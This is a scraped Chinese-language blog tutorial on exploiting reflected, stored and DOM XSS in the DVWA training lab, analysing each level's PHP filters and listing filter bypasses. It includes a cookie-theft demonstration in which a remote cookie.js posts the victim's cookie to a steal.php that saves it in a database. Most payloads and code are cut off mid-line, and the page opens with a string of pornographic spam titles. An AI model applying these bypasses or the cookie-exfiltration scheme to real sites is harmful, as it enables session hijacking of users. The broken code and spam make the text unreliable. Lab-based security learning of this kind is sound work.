成人国产在线小视频_日韩寡妇人妻调教在线播放_色成人www永久在线观看_2018国产精品久久_亚洲欧美高清在线30p_亚洲少妇综合一区_黄色在线播放国产_亚洲另类技巧小说校园_国产主播xx日韩_a级毛片在线免费

資訊專欄INFORMATION COLUMN

DVWA-從入門到放棄之XSS(Reflected,Stored,DOM)

LdhAndroid / 2076人閱讀

摘要：且通過語句插入到數(shù)據(jù)庫中。所以存在存儲型漏洞操作步驟由于和輸入框均存在。如果有，則利用函數(shù)重新發(fā)起請求，將值改為操作步驟輸入，發(fā)現(xiàn)值改為使用大小寫，雙寫繞過發(fā)現(xiàn)也不行，初步判斷應(yīng)該是把標簽過濾掉了。

作為興趣，一直想把自己所知道基礎(chǔ)入門的知識總結(jié)一下。在總結(jié)的過程中也是一個不斷學(xué)習(xí)地過程，慢慢學(xué)吧

XSS-跨站腳本攻擊，在某種意義上也是一種注入型攻擊
XSS不僅僅限于JavaScript，還包括flash等其它腳本語言
根據(jù)惡意代碼是否存儲在服務(wù)器中，XSS可以分為存儲型的XSS(Stored)與反射型的XSS(Reflected)
DOM型的XSS由于其特殊性，是一種基于DOM樹的XSS，被分為第三種
XSS(Reflected) Low 代碼分析 
Hello " . $_GET[ "name" ] . "
"; } ?> #array_key_exists()函數(shù)檢查數(shù)組里是否有指定的鍵名或索引。有返回true，沒有返回false

可以看到，代碼直接引用了name參數(shù)，并沒有任何的過濾與檢查，存在明顯的XSS漏洞

操作步驟

輸入


可以看到成功出現(xiàn)彈窗

F12進入開發(fā)者模式可以看到瀏覽器成功將我們的輸入作為HTML元素解釋運行

Medium 代碼分析 
", "", $_GET[ "name" ] );

    // Feedback for end user
    echo "
Hello ${name}
";
}

?>

Medium級別的代碼相對于Low級別的代碼使用str_replace函數(shù)將輸入中的
2.使用大小寫繞過，輸入
3.輸入其他標簽，如
可以看到結(jié)果：

獲取到了當前用戶的cookie，這結(jié)合csrf(跨站請求偽造)攻擊危害是很大的

High 代碼分析 
Hello ${name}
"; } ?>

可以看到High級別的代碼使用了preg_replace函數(shù)執(zhí)行一個正則表達式的搜索和替換
其中/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i是正則表達式(.*)表示貪婪匹配，/i表示不區(qū)分大小寫
所以在High級別的代碼中，所有關(guān)于

點擊Forward得到結(jié)果

F12打開開發(fā)者模式可以看到輸入內(nèi)容被前端html代碼解析運行：

由于提交的結(jié)果存儲在數(shù)據(jù)庫中，所以每次刷新頁面，輸入的惡意代碼就會被執(zhí)行一次

Medium 代碼分析 
", "", $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( "$message", "$name" );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( "
" . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . "
" );

    //mysql_close();
}

?>

strip_tags()函數(shù)剝?nèi)プ址械?HTML、XML 以及 PHP 的標簽，但允許使用標簽。
addslashes()函數(shù)返回在預(yù)定義字符（單引號、雙引號、反斜杠、NULL）之前添加反斜杠的字符串。
htmlspecialchars()函數(shù)把預(yù)定義的字符&、"、"、<、>轉(zhuǎn)換為 HTML 實體，防止瀏覽器將其作為HTML元素
一頓操作對message輸入內(nèi)容進行檢測過濾，因此無法再通過message參數(shù)注入XSS代碼
但是對于name參數(shù)，只是簡單過濾了
2.使用大小寫繞過，輸入
3.輸入其他標簽，如

High 代碼分析 
" . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . "
" ); //mysql_close(); } ?>

和反射型XSS-High級別代碼功能一致。對name輸入內(nèi)容利用正則匹配刪除所有關(guān)于

其實，在上述例子的XSS危害只是彈窗，并不能實際獲取到cookie，下面演示怎樣遠程獲取用戶cookie：

原理：

由于script標簽可以加載遠程服務(wù)器的javascript代碼并且執(zhí)行，所以在遠程服務(wù)器編寫一個cookie.js

document.write("
");
document.write("");
document.write("
");
document.exploit.submit();

這段js代碼的作用是在頁面中構(gòu)造一個隱藏表單和一個隱藏域，內(nèi)容為當前的cookie，并且以post方式發(fā)送到同目錄下的steal.php：

";
    }
    mysql_close();
}
?>

steal.php會將我們獲取到的cookie存到數(shù)據(jù)庫中，搞事之前先創(chuàng)建數(shù)據(jù)庫和相應(yīng)的表(字段)：

create database dvwacookie;#創(chuàng)建數(shù)據(jù)庫
use dvwacookie;#進入dvwacookie數(shù)據(jù)庫
create table low(id int not null auto_increment primary key,cookie varchar(100) not null);
#創(chuàng)建一個low表，字段id-int類型，主鍵，值自動增長、字段cookie

接下來在XSS漏洞位置插入：

就可以獲取用戶cookie。參考鏈接在此，與本作者無關(guān)

XSS(DOM) 
對于DOM型的XSS是一種基于DOM樹的一種代碼注入攻擊方式，可以是反射型的，也可以是存儲型的
最大的特點就是不與后臺服務(wù)器交互，只是通過瀏覽器的DOM樹解析產(chǎn)生

介紹下DOM：

HTML DOM 是關(guān)于如何獲取、修改、添加或刪除 HTML 元素的標準
簡單來說DOM主要研究的是節(jié)點，所有節(jié)點可通過javascript訪問(增，刪，改，查)

可能觸發(fā)DOM型XSS屬性：本實驗中主要用到的就是document.write屬性

document.write屬性
document.referer屬性
innerHTML屬性
windows.name屬性
location屬性
Low 代碼分析

可以，很直接

操作步驟

1.正常輸入English和French，F(xiàn)12打開開發(fā)者模式可以看見

現(xiàn)在來分析一下

F12審查元素：

可以看到和之前正常輸入相比較，第一個option標簽，就是被解釋運行

Medium 代碼分析

Medium級別的代碼先是檢查判斷default參數(shù)是否為空，不為空則賦值。然后使用stripos()函數(shù)判斷default值中是否含有。如果有，則利用header()函數(shù)重新發(fā)起http請求，將default值改為"English"

操作步驟

1.輸入，發(fā)現(xiàn)default值改為"English"
2.使用大小寫，雙寫繞過：、ipt>alert(1)發(fā)現(xiàn)也不行，初步判斷應(yīng)該是把

發(fā)現(xiàn)和正常選擇"English"一樣
3.使用其他標簽試試：link PT src="127.0.0.1/cookie.js"> 更新中。。。

文章版權(quán)歸作者所有，未經(jīng)允許請勿轉(zhuǎn)載,若此文章存在違規(guī)行為，您可以聯(lián)系管理員刪除。

轉(zhuǎn)載請注明本文地址：http://systransis.cn/yun/44041.html

相關(guān)文章

  • DVWA-從入門到放棄之XSS(Reflected,Stored,DOM)

    摘要：且通過語句插入到數(shù)據(jù)庫中。所以存在存儲型漏洞操作步驟由于和輸入框均存在。如果有，則利用函數(shù)重新發(fā)起請求，將值改為操作步驟輸入，發(fā)現(xiàn)值改為使用大小寫，雙寫繞過發(fā)現(xiàn)也不行，初步判斷應(yīng)該是把標簽過濾掉了。 作為興趣，一直想把自己所知道基礎(chǔ)入門的知識總結(jié)一下。在總結(jié)的過程中也是一個不斷學(xué)習(xí)地過程，慢慢學(xué)吧 showImg(https://segmentfault.com/img/bVbt4Cy...

    Eastboat 評論0 收藏0

  • 前端安全之XSS攻擊

    摘要：跨域腳本攻擊攻擊是最常見的攻擊，其重點是跨域和客戶端執(zhí)行。后端接收請求時，驗證請求是否為攻擊請求，攻擊則屏蔽。開發(fā)安全措施首要是服務(wù)端要進行過濾，因為前端的校驗可以被繞過。這種直接存在于頁面，無須經(jīng)過服務(wù)器返回就是基于本地的攻擊。 XSS（cross-site scripting跨域腳本攻擊）攻擊是最常見的Web攻擊，其重點是跨域和客戶端執(zhí)行。有人將XSS攻擊分為三種，分別是： Re...

    lmxdawn 評論0 收藏0

  • 前端——影子殺手篇

    摘要：前言對于一個影子殺手而言，總能殺人于無形。前端也有影子殺手，它總是防不勝防地危害著你的網(wǎng)站本篇打算介紹一些前端的影子殺手們和。影子殺手們，由來已久，幾乎伴隨著整個互聯(lián)網(wǎng)的發(fā)展。 前言 對于一個影子殺手而言，總能殺人于無形。前端也有影子殺手，它總是防不勝防地危害著你的網(wǎng)站 本篇打算介紹一些前端的影子殺手們——XSS和CSRF。或許，你對它恨之入骨；又或者，你運用的得心應(yīng)手。恨之入骨，可能...

    李世贊 評論0 收藏0

發(fā)表評論

0條評論

最新活動
閱讀需要支付1元查看
<